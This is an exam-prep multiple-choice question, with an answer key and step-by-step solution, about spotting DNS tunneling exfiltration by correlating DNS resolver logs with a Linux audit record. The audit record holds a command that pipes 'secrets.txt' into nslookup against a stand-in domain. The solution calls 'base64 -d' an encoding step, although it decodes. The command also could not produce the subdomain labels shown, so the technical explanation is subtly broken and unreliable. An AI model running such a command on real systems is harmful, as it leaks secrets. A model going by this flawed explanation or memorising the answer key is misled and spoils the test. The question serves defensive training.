Examkin

Question

Difficulty: MediumLog Analysis and SIEM Management

A Security Operations Center (SOC) analyst is investigating suspicious network activity on an internal Linux host (192.168.1.45) by correlating local audit logs with internal DNS resolver logs:

[DNS Resolver Logs]
2026-07-27T14:02:11.104Z client 192.168.1.45 query: a3V4b25lbGluZQ.c2VjdXJpdHl0ZXN0.example.com IN TXT
2026-07-27T14:02:11.312Z client 192.168.1.45 query: dGhlcXVpY2ticm93bmZveA.c2VjdXJpdHl0ZXN0.example.com IN TXT

[Linux Audit Log (/var/log/audit/audit.log)]
type=SYSCALL msg=audit(1785160920.412:982): arch=c000003e syscall=59 success=yes exe="/usr/bin/bash"
type=EXECVE msg=audit(1785160920.412:982): argc=3 a0="/usr/bin/bash" a1="-c" a2="base64 -d secrets.txt | nslookup -type=TXT - example.com"

Based on the log telemetry provided, which of the following statements accurately characterize the security incident occurring on the endpoint? (Select TWO.)

  1. Sensitive host data is being covertly exfiltrated using DNS tunneling with encoded subdomain payloads.Answer
  2. Command execution telemetry confirms local utility binaries were executed to encode and stream file contents outbound.Answer
  3. C
    The log entries document a SQL injection attempt aimed at extracting database records through web server application parameters.
  4. D
    The audit log entries reflect an access control failure where identity authentication succeeded but resource authorization was revoked.

Answer

The incident involves data exfiltration via DNS tunneling using encoded subdomain queries, supported by process execution telemetry showing file encoding piped directly into DNS lookup commands.
The correct options accurately identify DNS tunneling and process execution indicators. The DNS logs feature subdomains composed of Base64 strings queried for TXT records, which is a classic indicator of DNS data exfiltration. Simultaneously, the system audit logs explicitly document a bash command reading and encoding local file contents before piping them into `nslookup`.

Step-by-Step Solution

1
Analyze the Linux process audit log entry.
The EXECVE audit record shows an interactive bash process running `base64 -d secrets.txt | nslookup -type=TXT - example.com`.
This establishes that local system data was encoded and passed to a network utility.
2
Analyze the internal DNS resolver query log entries.
High-entropy Base64 string labels (e.g., `a3V4b25lbGluZQ...`) are appended as subdomains in DNS TXT requests originating from host 192.168.1.45.
This confirms covert protocol tunneling where payload data is disguised as domain name queries.
3
Correlate host telemetry with network telemetry to draw conclusions.
The execution log directly explains the source of the high-entropy DNS TXT queries, verifying host compromise and active DNS exfiltration.
Combining command-line monitoring with network event correlation provides end-to-end confirmation of the threat behavior.

Key Concept

DNS Tunneling and Process Audit Log Correlation
Rate this question

Topics

Log Analysis and SIEM Management

More questions from this topic